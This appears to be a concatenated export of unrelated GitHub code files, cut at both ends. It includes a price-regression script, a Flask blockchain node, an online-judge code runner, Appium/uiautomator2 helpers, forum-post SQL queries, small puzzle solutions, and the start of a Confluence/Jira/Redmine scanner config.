replace_outliers_in_column(param):\n param = param.copy()\n q1 = param.quantile(0.05)\n q3 = param.quantile(0.95)\n iqr = q3 - q1\n lower_bound = q1 - 1.5 * iqr\n upper_bound = q3 + 1.5 * iqr\n param.loc[param < lower_bound] = np.nan\n param.loc[param > upper_bound] = np.nan\n param.fillna(param.mean(), inplace=True)\n return param\n\n\ndef replace_outliers_train(train):\n print(f'\\n{\" Replacing outliers for per_square_meter_price \":.^100}')\n\n train['per_square_meter_price'] = train.groupby('region')['per_square_meter_price'].apply(\n lambda x: x.clip(lower=x.quantile(0.05), upper=x.quantile(0.95)))\n\n train['per_square_meter_price'] = train.groupby('osm_city_nearest_name')['per_square_meter_price'].apply(\n lambda x: x.clip(lower=x.quantile(0.05), upper=x.quantile(0.95)))\n\n train['per_square_meter_price'] = train.groupby('total_square')['per_square_meter_price'].apply(\n lambda x: x.clip(lower=x.quantile(0.05), upper=x.quantile(0.95)))\n\n print(f'\\n{\" Replacing outliers for per_square_meter_price ended \":.^100}\\n')\n return train\n\n\ndef replace_outliers(df):\n print(f'\\n{\" Removing outliers \":.^100}')\n\n for column in df.columns:\n if column.startswith('osm_') and df[column].dtype != 'object':\n df[column] = df[column].clip(lower=df[column].quantile(0.05), upper=df[column].quantile(0.95))\n\n for column in df.columns:\n if column.startswith('reform_') and df[column].dtype != 'object':\n df[column] = df[column].clip(lower=df[column].quantile(0.05), upper=df[column].quantile(0.95))\n\n df['total_square'] = df['total_square'].clip(lower=df['total_square'].quantile(0.05),\n upper=df['total_square'].quantile(0.95))\n\n for column in df.columns:\n if column.startswith('osm_') and df[column].dtype != 'object':\n df[column] = np.log1p(df[column])\n\n for column in df.columns:\n if column.startswith('reform_') and df[column].dtype != 'object':\n df[column] = np.log1p(df[column])\n\n print(f'\\n{\" Removing outliers ended \":.^100}\\n')\n return df\n\n\ndef low_variance_stat(train):\n print(f'\\n{\" Low correlation columns \":.^100}')\n for column in train.columns:\n if column != 'per_square_meter_price':\n if train[column].dtype != 'object':\n print(f'{column} correlation with target: {train[column].corr(train[\"per_square_meter_price\"])}')\n\n print(f'\\n{\" Low correlation columns ended \":.^100}\\n')\n\n\ndef main():\n print_current_dir()\n\n predict_target = 'per_square_meter_price'\n\n train = pd.read_csv('./data/train.csv')\n\n train = replace_outliers_train(train)\n\n low_variance_stat(train)\n\n test = pd.read_csv('./data/test_x.csv')\n\n test_copy = test.copy()\n\n target = train[predict_target]\n train.drop(columns=[predict_target], axis=1, inplace=True)\n\n df = pd.concat([train, test], axis=0)\n\n show_statistics(df)\n\n # df.describe().round(2).T.to_csv('./misc/describe_before.csv', header=True)\n\n df = validate_data(df)\n\n df = replace_outliers(df)\n\n # df.describe().round(2).T.to_csv('./misc/describe_after.csv', header=True)\n\n # save_first_n_rows(df, 'df.csv', 100)\n\n string_values = show_statistics(df)\n\n df.drop(columns=string_values, axis=1, inplace=True)\n\n print(f'\\n{\" Predicting... \":.^100}\\n')\n\n train = df.iloc[:len(target)]\n test = df.iloc[len(target):]\n\n drop1 = analyze_variance(train, target)\n df = df.drop(columns=drop1)\n\n # save_first_n_rows(df, 'df.csv', 100)\n\n # drop3 = analyze_correlation(train, target) # testing\n drop2 = list(correlation(df, 0.8))\n print(drop2)\n df = df.drop(columns=drop2)\n\n # train = df.iloc[:len(target)]\n # test = df.iloc[len(target):]\n # drop3 = correlation_with_target(train, target)\n # print(drop3)\n # df = df.drop(columns=drop3)\n\n # save_first_n_rows(df, 'df.csv', 100)\n\n train = df.iloc[:len(target)]\n test = df.iloc[len(target):]\n\n model = LinearRegression()\n model.fit(train, target)\n\n predicted_price = model.predict(test)\n\n statistics(predicted_price, test_copy)\n\n predicted_price_df = pd.DataFrame({'id': range(len(predicted_price)), predict_target: predicted_price})\n\n predicted_price_df[predict_target] = predicted_price_df[predict_target].clip(lower=1)\n\n predicted_price_df.to_csv('./res/predicted_price.csv', index=False)\n\n # hist(predicted_price, target)\n\n print(f'\\n{\" Predicted \":.^100}\\n')\n\n\ndef hist(predicted_price, target):\n predicted_price = np.log1p(predicted_price - predicted_price.min() + 1)\n target = np.log1p(target)\n min_val = min(min(predicted_price), min(target))\n max_val = max(max(predicted_price), max(target))\n plt.hist(predicted_price, bins=100, range=(min_val, max_val), alpha=0.5, label='predicted price')\n plt.hist(target, bins=100, range=(min_val, max_val), alpha=0.5, label='real price')\n plt.legend(loc='upper right')\n plt.title(f'Predicted price and real price histogram plot at {time.strftime(\"%H:%M:%S\")}')\n plt.show()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"RuslanZaripov/ITMO","sub_path":"data-analysis/lab-4/code.py","file_name":"code.py","file_ext":"py","file_size_in_byte":17508,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"18870603456","text":"from logging import exception\nfrom block_chain_lab import Block,BlockChain\nfrom flask import Flask,request,render_template,redirect,session \nimport json\nimport requests\nimport time\nfrom flask_cors import CORS,cross_origin\n\n# set a common port for post request coming form other submissin pages \nport = 5000\n\n#this part initialize flask application\n\napp = Flask(__name__)\n# CORS(app)\nCORS(app, resources={r\"/new_transaction/*\": {\"origins\": \"*\"}})\n\n#this part initialize a blockchian object\nblockchian = BlockChain()\n\n\n#this part declars flask endpoint\n@app.route('/new_transaction',methods=['POST'])\n# @cross_origin()\ndef new_transaction():\n tx_data = request.get_json()\n required_field = tx_data\n # print(required_field)\n tx_data1 = json.dumps(tx_data)\n tx_data = json.loads(tx_data1)\n \n for field in required_field:\n if not tx_data.get(field):\n return \"Invalid Transaction\",404\n \n tx_data[\"timestamp\"] = time.time()\n \n blockchian.add_new_transaction(tx_data)\n\n # mine the block\n requests.get(\"http://127.0.0.1:5000/mine\")\n\n # return success\n return \"Success\", 201\n\n # print(required_field)\n # return required_field\n\n#this part is to get the chain of data\n@app.route('/chain',methods=['GET'])\n@cross_origin()\ndef get_chain():\n chain_data = []\n for block in blockchian.chain:\n chain_data.append(block.__dict__)\n return json.dumps({\"lenght\":len(chain_data),\"chain\":chain_data})\n\n#this part is an endpoint to mine transaction\n@app.route('/mine',methods=['GET'])\n@cross_origin()\ndef mine_unconfirmed_transaction():\n result = blockchian.mine()\n if not result:\n return \"No transaction to mine\"\n else:\n chain_length = len(blockchian.chain)\n consensus()\n if chain_length == len(blockchian.chain):\n announce_new_block(blockchian.last_block)\n return \"Block #{} is mined.\".format(blockchian.last_block.index)\n\n#this part checks pending text \n@app.route('/pending_tx')\ndef get_pending_tx():\n return json.dumps(blockchian.unconfirmed_transaction)\n\n\n'''\n This part makes it possible for other nodes \n to be aware or ther peers in the network.\n'''\n\npeers = set()\n\n#This is an endpoint that helps to add new peers to the network\n@app.route('/register_node',methods=['POST'])\n@cross_origin()\ndef register_new_peers():\n node_address = request.get_json()['node_address']\n if not node_address:\n return \"Invalid data\", 400\n \n #Add new peers to the block\n peers.add(node_address)\n \n # Return the blockchain to the newly registered node so that it can sync\n return get_chain()\n\n#this part allows peers to register with new nodes\n@app.route('/register_with',methods=['POST'])\n@cross_origin()\ndef register_with_existing_node():\n node_address = request.get_json()['node_address']\n \n if not node_address:\n return \"Invalid data\",400\n \n data = {'node_adddress':request.host_url}\n headers = {\"Content-Type\":\"application/json\"}\n \n #this part makes a request to register with remote nodes\n response = requests.post(node_address + \"register_node\",data=json.dumps(data),headers=headers)\n \n #this part checks if there is a reponse \n if response.status_code == 200:\n global blockchian\n global peers\n \n #this part updates the block and the peers\n chaim_dump = response.json()['chain']\n blockchian = create_chain_from_dumps(chaim_dump)\n peers.update(response.json()['peers'])\n return \"registration successful\", 200\n \n else:\n return response.content, response.status_code\n\n#this part creates a chain from dumps\ndef create_chain_from_dumps(chain_dump):\n blockchian = BlockChain()\n for idx,block_data in enumerate(chain_dump):\n block = Block(block_data[\"index\"],block_data[\"transaction\"],block_data[\"timestamp\"],block_data['previous_has'])\n prof = block_data['hash']\n if idx >0:\n added = blockchian.add_block(block,prof)\n if not added:\n raise Exception(\"The chain dump is tempared\")\n else:\n blockchian.chain.append(block)\n \n return blockchian\n\n\n \ndef consensus():\n global blockchian \n longest_chain = None\n current_len = len(blockchian.chain)\n \n for node in peers:\n respons = requests.get('{}/chain'.format(node))\n length = respons.json()['length']\n chain = respons.json()['chain']\n if length > current_len and blockchian.check_chain_validity(chain):\n current_len = length\n longest_chain = chain\n if longest_chain:\n blockchian = longest_chain\n return True\n \n return False\n\n#this part provides an endpoint to add mined block to the list of chains\n@app.route('/add_block',methods=['POST'])\n@cross_origin()\ndef verify_and_add_block():\n block_data = request.get_json()\n block = Block(block_data['index'],block_data['transactions'],block_data['timestamp'],block_data['previous_hash'])\n \n prof = block_data['hash']\n added = blockchian.add_block(block,prof)\n if not added:\n return \"The block was discarded by the node\", 400\n \n return \"Block added to the chain\", 201\n\n\n#this function is to announce new block\ndef announce_new_block(block):\n for peer in peers:\n url = \"{}add_block\".format(peer)\n requests.post(url, data=json.dumps(block.__dict__, sort_keys=True))\n\n# #####################################################################################\n# add other routes and code from web_app.py here \n\n\nCONNECTED_NODE_ADDRESS = \"http://127.0.0.1:{}\".format(port)\n\nposts = []\n\n#this function gets the data from the node’s /chain endpoint, parses the data, and stores it locally.\n\ndef fetch_posts():\n \n get_chain_address = \"{}/chain\".format(CONNECTED_NODE_ADDRESS)\n respons = requests.get(get_chain_address)\n if respons.status_code == 200:\n content = []\n chain = json.loads(respons.content)\n for block in chain['chain']:\n for tx in block['transactions']:\n tx['index'] = block['index']\n tx['hash']=block['previous_hash']\n content.append(tx)\n\n# @app.route('/submit',methods=['POST'])\n# @cross_origin()\n# def submit_textarea():\n# region = request.form[\"region\"]\n# constituency = request.form[\"constituency\"]\n# author = request.form[\"author\"]\n# # post_content1 = request.form.get(\"NPP \",\"NPP\")\n# # post_content = request.form.get(\"NDC \",\"NDC\")\n# # username = request.form.get(\"username\",\"username\")\n# party1 = request.form[\"NDC \"]\n# party2 = request.form[\"NPP \"]\n# party1vote= request.form[\"NDC vote_in_number\"]\n# party2vote= request.form[\"NPP vote_in_number\"]\n \n# # post_content = request.form[\"party_name\"]\n# # vote_number= request.form['vote_in_number']\n# # taken out of request form\n# # vote_words= request.form['vote_in_words']\n# rejected_ballot= request.form['rejected_ballot']\n# post_object = {region:{constituency:{author:{party1:party1vote,party2:party2vote,'rejected_ballot':rejected_ballot}}}}\n# # post_object = {'author': author,'party':post_content,'vote_in_number':vote_number,'vote_in_words':vote_words,'rejected_ballot':rejected_ballot,'region':region,\"constituency\":constituency}\n# new_tx_address = \"{}/new_transaction\".format(CONNECTED_NODE_ADDRESS)\n# print(new_tx_address)\n# requests.post(new_tx_address,json=post_object,headers={'Content-type': 'application/json'})\n \n# # pass the region,constituency,polling station in messages in messages stored in sessions \n# url = ('http://127.0.0.1:8000/polling_station/?region={}&constituency={}&ps={}&party1={}&party2={}&r={}').format(region,constituency,author,party1,party2,rejected_ballot) \n\n# # upon submission b ec offical redirect to polling station results page \n# return post_object\n \n\n@app.route('/')\ndef home():\n return render_template('/index.html')\n\n# set a port here to be used by the submission page \n# if __name__ == '__main__':\n# app.run( host='127.0.0.1',port=9000)","repo_name":"Guy-Koliko/final_bc_api","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":8125,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"7282769497","text":"import subprocess\nimport os\n\n\ndef compile_code(file_path, lang):\n if lang == \"c\":\n compiler = \"gcc\"\n elif lang == \"cpp\":\n compiler = \"g++\"\n elif lang == \"py\":\n return \"Compilation successful\"\n else:\n return \"Compilation Error\"\n\n curr_dir = os.getcwd()\n try:\n os.chdir(\"OJ/waste\")\n compile_file = subprocess.run([compiler, file_path], stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n os.chdir(curr_dir)\n stderror = compile_file.stderr.decode(\"utf-8\")\n if stderror == \"\":\n return \"Compilation successful\"\n else:\n return \"Compilation Error\"\n except:\n os.chdir(curr_dir)\n return \"Compilation Error\"\n\n\ndef run_code(lang, ip_data):\n curr_dir = os.getcwd()\n try:\n os.chdir(\"OJ/waste\")\n\n if lang == \"py\":\n result = subprocess.run(\n [\"python\", \"temp.py\"],\n input=ip_data.encode(),\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n timeout=5,\n )\n else:\n result = subprocess.run(\n [\"./a.out\"],\n input=ip_data.encode(),\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n timeout=5,\n )\n os.chdir(curr_dir)\n stdout_output = result.stdout\n stderr_output = result.stderr\n\n if result.returncode != 0:\n raise subprocess.CalledProcessError(\n result.returncode,\n cmd=result.args,\n output=result.stdout,\n stderr=result.stderr,\n )\n return result.stdout.decode(\"utf-8\")\n\n except FileNotFoundError as e:\n os.chdir(curr_dir)\n print(f\"Error: {e.filename} not found.\")\n return \"Error: File not found.\"\n except PermissionError as e:\n os.chdir(curr_dir)\n print(f\"Error: Permission denied for {e.filename}.\")\n return \"Error: Permission denied.\"\n except subprocess.CalledProcessError as e:\n os.chdir(curr_dir)\n print(f\"Error: Command {e.cmd} returned a non-zero exit code {e.returncode}.\")\n print(f\"Standard Output: {e.output}\")\n print(f\"Standard Error: {e.stderr}\")\n return \"Error: Code execution failed.\"\n except subprocess.TimeoutExpired as e:\n os.chdir(curr_dir)\n print(f\"Error: Code execution timed out. {e}\")\n return \"Time Limit Exceeded.\"\n except Exception as e:\n os.chdir(curr_dir)\n print(f\"Error occurred while executing the code: {e}\")\n return \"Error occurred while executing the code.\"\n\n\ndef check_tc(tc, language):\n flag = 1\n j = 0\n idx = 0\n for i in tc:\n j += 1\n result = run_code(language, str(i.tc_input).replace(\" \", \"\\n\"))\n if result == \"Time Limit Exceeded.\":\n return f\"Time Limit Exceeded on tc {j}\"\n result = result.replace(\"\\n\", \"\").replace(\" \", \"\")\n\n if result != i.tc_output:\n flag = 0\n idx = j\n break\n if flag == 0:\n return f\"Wrong Answer on tc {idx}\"\n else:\n return \"Accepted\"\n","repo_name":"ayush1289/online-judge","sub_path":"OJ/compiler.py","file_name":"compiler.py","file_ext":"py","file_size_in_byte":3183,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"5158801990","text":"import curses\nfrom frame import Frame, FrameModification\nfrom animations import Anim, AnimIterator\nfrom primitives import *\nfrom anim_player import play\n\nfrom random import randint, choice\n\n\n\ndef initialize_curses_colors():\n \"\"\"Initialize the color support of curses (256 colors).\"\"\"\n curses.curs_set(0) # hide the cursor\n curses.start_color()\n curses.use_default_colors()\n # set color_pair for each color\n for i in range(curses.COLORS):\n curses.init_pair(i, i, -1)\n # curses.init_pair(i + 256, i,)\n\ndef screen_saver(fr):\n dot1 = Anim(fr, fadeinout(10, 10, \"•\"))\n dot2 = Anim(fr, fadeinout(10, 11, \"•\"), after=10)\n dot3 = Anim(fr, fadeinout(10, 12, \"•\"), after=20)\n dots = dot1 >> dot2 >> dot3\n play(fr, Anim(fr, dots))\n\ndef main(scr):\n initialize_curses_colors()\n fr = Frame(scr)\n # screen_saver(fr)\n\n # fade_in_out = Anim(fr, fadein(5, 5, \"coucou\")) > Anim(fr, fadeout(5, 5, \"coucou\"))\n\n coucou = Anim(fr, fadein(5, 5, \"coucou\")) >> Anim(fr, fadein(6, 5, \"c'est moi\"))\n coucou2 = Anim(fr, fadein(5, 5, \"coucou\")) >> Anim(fr, fadein(6, 5, \"c'est moi\"))\n hdyd = Anim(fr, fadein(10, 10, \"how do you do ?\"))\n well = Anim(fr, fadein(20, 5, \"je vais well !\"))\n anim = coucou & Anim(fr, coucou)\n\n\n # anim = Anim(fr, addstr(5, 5, \"test\", curses.color_pair(1)))\n play(fr, anim)\n\n\n\nif __name__ == \"__main__\":\n curses.wrapper(main)\n\n\n","repo_name":"OsKaR31415/animations","sub_path":"__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1415,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"30381312513","text":"from uiautomator2 import Device\nfrom executor.appium_driver.UIObjectWrapper import UIObjectWrapper\nimport time\nimport uiautomator2 as u2\nfrom Model.App import App\nfrom Model.Task import Task\nfrom monitor.AndroidEventMonitor import AndroidEventMonitor\nfrom util.ARPPersistence import ARPPersistence\nfrom executor.Executor import ExecutionStrategy\nfrom comparison.StateComparison import StateComparisonStrategy\nfrom functools import wraps\n\nkeycodes = {5: 'call',\n 6: 'endcall',\n 3: 'home',\n 82: 'menu',\n 4: 'back',\n 84: 'search',\n 27: 'camera',\n 80: 'focus',\n 111: 'escape',\n 66: 'enter'}\n\n\n# def dialog_box_handler(func):\n# @wraps(func)\n# def wrap(self, *args, **kwargs):\n# while self.device.info['currentPackageName'] != self.capabilities['appPackage']:\n# if len(self.watchers) == 0:\n# break\n# for watcher in self.watchers:\n# if watcher.triggering:\n# self.current_state = watcher.execute(self.current_state)\n# break\n# return func(self, *args, **kwargs)\n#\n# return wrap\n\n\n# appium脚本执行驱动,用来替代appium自身的driver\nclass AppiumScriptDriver:\n def __init__(self, monitor, device: Device, desired_caps=None):\n self.monitor = monitor\n self.device = device\n self.current_state = None\n self.capabilities = {} if not desired_caps else desired_caps\n\n def implicitly_wait(self, time_to_wait):\n time.sleep(time_to_wait)\n\n def find_element(self, by, elem):\n if elem.exists:\n return UIObjectWrapper(elem, self, by)\n else:\n raise Exception('No such element!')\n\n # @dialog_box_handler\n def find_element_by_id(self, id_):\n # time.sleep(2)\n elem = self.device(resourceId=id_)\n return self.find_element({'resourceId': id_}, elem)\n\n # @dialog_box_handler\n def find_element_by_xpath(self, xpath):\n # time.sleep(2)\n elem = self.device.xpath(xpath)\n return self.find_element({'xpath': xpath}, elem)\n\n # @dialog_box_handler\n def find_elements_by_class_name(self, name):\n elems = self.device(className=name)\n ui_objects = []\n for instance, elem in enumerate(elems):\n ui_object = self.find_element({'className': name, 'instance': instance}, elem)\n ui_objects.append(ui_object)\n return ui_objects\n\n # @dialog_box_handler\n def find_element_by_accessibility_id(self, accessibility_id):\n elem = self.device(description=accessibility_id)\n return self.find_element({'description': accessibility_id}, elem)\n\n # @dialog_box_handler\n def find_element_by_android_uiautomator(self, uia_string):\n uia_string = uia_string.strip()\n if uia_string.startswith('new UiSelector'):\n args = uia_string.split('.')[1:]\n identify = {}\n for arg in args:\n k, v = arg.rtrip(')').split('(')\n v = v.strip('\"')\n identify[k] = v\n elem = self.device(**identify)\n return self.find_element(identify, elem)\n\n def save_screenshot(self, filename):\n self.device.screenshot(filename)\n\n # @dialog_box_handler\n def press_keycode(self, keycode):\n # 由于bug 将code映射为具体的键\n if keycode in keycodes:\n keycode = keycodes[keycode]\n self.device.press(keycode)\n\n # @dialog_box_handler\n def scroll(self, origin_el: UIObjectWrapper, destination_el: UIObjectWrapper, duration=600):\n origin_bounds = origin_el.get_attribute('bounds')\n destination_bounds = destination_el.get_attribute('bounds')\n origin_x, origin_y = (origin_bounds[0] + origin_bounds[2]) / 2, \\\n (origin_bounds[1] + origin_bounds[3]) / 2\n destination_x, destination_y = (destination_bounds[0] + destination_bounds[2]) / 2, \\\n (destination_bounds[1] + destination_bounds[3]) / 2\n self.swipe(origin_x, origin_y, destination_x, destination_y, duration)\n\n @property\n def page_source(self):\n return self.device.dump_hierarchy()\n\n # @dialog_box_handler\n def back(self):\n self.current_state = self.monitor.before_back(self.current_state)\n self.device.press('back')\n time.sleep(4)\n self.current_state, _ = self.monitor.after_back(self.current_state)[0]\n\n # @dialog_box_handler\n def swipe(self, begin_x, begin_y, end_x, end_y, duration=0):\n self.current_state = self.monitor.before_swipe(self.current_state)\n self.device.swipe(begin_x, begin_y, end_x, end_y, duration / 1000)\n identify = {'begin_x': begin_x, 'begin_y': begin_y, 'end_x': end_x, 'end_y': end_y, 'duration': duration}\n time.sleep(4)\n self.current_state, _ = self.monitor.after_swipe(self.current_state, None, identify)[0]\n\n def launch_app(self):\n self.current_state = self.monitor.before_launch(self.current_state)\n self.device.app_start(self.capabilities['appPackage'], self.capabilities['appActivity'])\n time.sleep(2)\n self.current_state, _ = self.monitor.after_launch(self.current_state)\n\n def close_app(self):\n self.current_state = self.monitor.before_home(self.current_state)\n self.device.press('home')\n time.sleep(2)\n self.current_state, _ = self.monitor.after_home(self.current_state)\n self.current_state = self.monitor.before_stop(self.current_state)\n self.device.app_stop(self.capabilities['appPackage'])\n time.sleep(2)\n self.current_state, _ = self.monitor.after_stop(self.current_state)\n\n def update_capabilities(self, **desired_caps):\n for cap in desired_caps:\n self.capabilities[cap] = desired_caps[cap]\n\n # 判断device和capabilities是否匹配\n @staticmethod\n def check_capabilities(capabilities, device: Device):\n if capabilities is not None:\n if 'appPackage' not in capabilities:\n raise Exception('the attribute appPackage does not in capabilities!')\n d_info = device.device_info\n d_version = d_info['version'].split('.')\n cap_version = capabilities['platformVersion'].split('.')\n if len(d_version) < len(cap_version):\n d_version += ['0'] * (len(cap_version) - len(d_version))\n elif len(cap_version) < len(d_version):\n cap_version += ['0'] * (len(d_version) - len(cap_version))\n if d_version != cap_version:\n raise Exception(\n f\"the version of the device is {d_info['version']} but the platformVersion of the capabilities is {capabilities['platformVersion']}!\")\n else:\n raise Exception(\"missing capabilities!\")\n\n @staticmethod\n def build(desired_caps):\n device = u2.connect_usb()\n # 判断device和capabilities是否匹配\n AppiumScriptDriver.check_capabilities(desired_caps, device)\n app = App(None, None, desired_caps['appActivity'], desired_caps['appPackage'], None)\n task = Task(app, ExecutionStrategy.APPIUM, StateComparisonStrategy.XML, None, app, False)\n monitor = AndroidEventMonitor(task.get_arp(), device)\n driver = AppiumScriptDriver(monitor, device, desired_caps)\n driver.launch_app()\n return driver\n\n def save_result(self, saved_path):\n arpp = ARPPersistence(self.monitor.app, saved_path)\n arpp.save2disk()\n","repo_name":"entropydec/Android2Harmony","sub_path":"lib/arp/executor/appium_driver/AppiumScriptDriver.py","file_name":"AppiumScriptDriver.py","file_ext":"py","file_size_in_byte":7601,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"15158774775","text":"__author__ = 'max'\n\nfrom queries.utils import *\n\n\ndef get_post_by_id(cursor, post_id):\n post_id = to_number(post_id, 'post_id')\n query = '''SELECT *\n FROM `Post`\n WHERE `id` = %s\n LIMIT 1;\n '''\n params = (post_id,)\n cursor.execute(query, params)\n\n post = cursor.fetchone()\n if post is None:\n raise NotFound(\"Post with the '%d' id is not found\" % post_id)\n\n prepare_post(post)\n return post\n\n\ndef set_post(cursor, date, thread, message, user, forum, is_deleted, parent, is_approved, is_highlighted, is_edited, is_spam):\n is_deleted = to_bool(is_deleted, 'is_deleted')\n thread = to_number(thread, 'thread')\n\n is_approved = to_bool(is_approved, 'is_approved')\n is_highlighted = to_bool(is_highlighted, 'is_highlighted')\n is_edited = to_bool(is_edited, 'is_edited')\n is_spam = to_bool(is_spam, 'is_spam')\n\n query = '''INSERT INTO `Post` (`date`, `thread`, `message`, `user`, `forum`, `isDeleted`, `parent`, `isApproved`, `isHighlighted`, `isEdited`, `isSpam`)\n VALUES (%s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s);\n '''\n\n params = (date, thread, message, user, forum, is_deleted, parent, is_approved, is_highlighted, is_edited, is_spam)\n cursor.execute(query, params)\n\n post = {'date': date, 'thread': thread, 'message': message, 'user': user, 'forum': forum,\n 'isDeleted': is_deleted, 'parent': parent, 'isApproved': is_approved, 'isHighlighted': is_highlighted,\n 'isEdited': is_edited, 'isSpam': is_spam, 'dislikes': 0, 'likes': 0, 'points': 0, 'path': ''}\n return post\n\n\ndef set_post_deleted(cursor, post, logical):\n post = to_number(post, 'post')\n query = '''UPDATE `Post`\n SET `isDeleted` = {0}\n WHERE `id` = %s;\n '''.format(logical)\n params = (post,)\n cursor.execute(query, params)\n\n if logical == 'True':\n logical = '- 1'\n else:\n logical = '+ 1'\n\n post = get_post_by_id(cursor, post)\n query = '''UPDATE `Thread`\n SET `posts` = `posts` {0}\n WHERE `id` = %s;\n '''.format(logical)\n params = (post['thread'],)\n cursor.execute(query, params)\n\n\ndef set_post_message(cursor, post, message):\n post = to_number(post, 'post')\n query = '''UPDATE `Post`\n SET `message` = %s\n WHERE `id` = %s;\n '''\n\n params = (message, post)\n cursor.execute(query, params)\n\n\ndef set_post_vote(cursor, post, vote):\n post = to_number(post, 'post')\n\n if vote < 0:\n column = 'dislikes'\n points = '- 1'\n else:\n column = 'likes'\n points = '+ 1'\n\n query = '''UPDATE `Post`\n SET `{0}` = `{0}` + 1, `points` = `points` {1}\n WHERE `id` = %s;\n '''.format(column, points)\n params = (post,)\n cursor.execute(query, params)","repo_name":"xammi/Curs_DB","sub_path":"queries/post.py","file_name":"post.py","file_ext":"py","file_size_in_byte":2901,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"32"} +{"seq_id":"39662366832","text":"# The \"look and say\" sequence is defined as follows: beginning with the term 1,\n# each subsequent term visually describes the digits appearing in the previous\n# term. The first few terms are as follows:\n\n# 1\n# 11\n# 21\n# 1211\n# 111221\n\n# As an example, the fourth term is 1211, since the third term consists of one\n# 2 and one 1.\n\n# Given an integer N, print the Nth term of this sequence.\n\n\ndef look_and_say(n):\n term = '1'\n for _ in range(n):\n term = describe(term)\n\n return term\n\n\ndef describe(term):\n last = term[0]\n count = 1\n ans = ''\n for i in range(1, len(term)):\n if term[i] == last:\n count += 1\n else:\n ans += '{}{}'.format(count, last)\n count = 1\n last = term[i]\n\n return ans + '{}{}'.format(count, last)\n\n\nif __name__ == \"__main__\":\n for i in range(10):\n print(i, '->', look_and_say(i))\n","repo_name":"kemingy/daily-coding-problem","sub_path":"src/look_and_say.py","file_name":"look_and_say.py","file_ext":"py","file_size_in_byte":897,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"32"} +{"seq_id":"23873742527","text":"from src.main.java.algorithms.EasySumSetProblem.solution3 \\\n import calculate_b\nimport pytest\nfrom typing import List\n\n\ntest_data = [\n ([1, 2], [3, 4, 5], ['2', '3']),\n ([3], [5, 6], ['2', '3']),\n ([4, 3, 5, 1], [3, 5, 6, 7, 8, 9], ['2', '4']),\n ([1, 3, 2, 5, 4], [2, 3, 4, 5, 6], ['1'])\n]\n\n\n@pytest.mark.parametrize(\"array_a,array_c,array_b\", test_data)\ndef test_easy_sum_set(array_a: List[int],\n array_c: List[int], array_b: List[str]):\n print(f\"expected = {array_b}\")\n print(f\"actual = {calculate_b(array_a, array_c)}\")\n assert len(array_b) == len(calculate_b(array_a, array_c))\n assert all([a == b for a, b in zip(\n array_b, calculate_b(array_a, array_c))])\n","repo_name":"apetrovskiy/testHaEa","sub_path":"src/test/java/algorithms/EasySumSetProblem/test_easy_sum_set.py","file_name":"test_easy_sum_set.py","file_ext":"py","file_size_in_byte":717,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"4675072744","text":"# -*- coding: utf-8 -*-\n\n# input\nN, Y = map(int, input().split())\n\n# solve\nans = [-1] * 3\nfor x in range(N + 1):\n for y in range(N + 1):\n z = N - x - y\n if 10000 * x + 5000 * y + 1000 * z == Y and z >= 0:\n ans = [x, y, z]\n break\n\n# output\nprint(*ans)\n","repo_name":"tapioka324/atcoder","sub_path":"ABC/085/c.py","file_name":"c.py","file_ext":"py","file_size_in_byte":290,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"18576809731","text":"#!/usr/bin/python3\n\nimport json\nimport argparse\nimport time\nimport traceback\nimport sys\nimport uuid\nimport parsers.confluence.parser as confluence_parser\nimport parsers.jira.parser as jira_parser\nimport parsers.redmine.parser as redmine_parser\nfrom termcolor import colored, cprint\nfrom datetime import datetime\n\n\ndef generate_job_id():\n return str(uuid.uuid4())\n\n\ndef check_conf(service_name: str):\n conf = {}\n if config[service_name]['url'] and len(config[service_name]['url']) != 0:\n conf['url'] = config[service_name]['url']\n else:\n raise Exception(f'{service_name} url error')\n\n if config[service_name]['credentials']['login'] and len(config[service_name]['credentials']['login']) != 0:\n conf['login'] = config[service_name]['credentials']['login']\n else:\n raise Exception(f'{service_name} login error')\n\n if config[service_name]['credentials']['password'] and len(config[service_name]['credentials']['password']) != 0:\n conf['password'] = config[service_name]['credentials']['password']\n else:\n raise Exception(f'{service_name} password error')\n\n if 'spaces' in config[service_name]:\n conf['spaces'] = config[service_name]['spaces']\n else:\n raise Exception('Spaces error')\n\n if 'oauth' in config[service_name]:\n conf['oauth'] = config[service_name]['oauth']\n conf['client_id'] = config[service_name]['credentials']['client_id']\n conf['client_secret'] = config[service_name]['credentials']['client_secret']\n conf['consumer_key'] = config[service_name]['credentials']['consumer_key']\n conf['private_key'] = config[service_name]['credentials']['private_key']\n else:\n raise Exception('Spaces error')\n\n\n\n if 'context_capture_span' in config['base_config']:\n conf['context_capture_span'] = config['base_config']['context_capture_span']\n else:\n conf['re_scan'] = 50\n\n if config['base_config']['re_scan']:\n conf['re_scan'] = config['base_config']['re_scan']\n else:\n conf['re_scan'] = True\n\n if config['base_config']['uuid_scan']:\n conf['uuid_scan'] = config['base_config']['uuid_scan']\n else:\n conf['uuid_scan'] = True\n\n if config['base_config']['twartefacts_scan']:\n conf['twartefacts_scan'] = config['base_config']['twartefacts_scan']\n else:\n conf['twartefacts_scan'] = True\n\n if config['base_config']['experimental_scan']:\n conf['experimental_scan'] = config['base_config']['experimental_scan']\n else:\n conf['experimental_scan'] = False\n\n if config['base_config']['gdocs_search']:\n conf['gdocs_search'] = config['base_config']['gdocs_search']\n else:\n conf['gdocs_search'] = False\n\n if 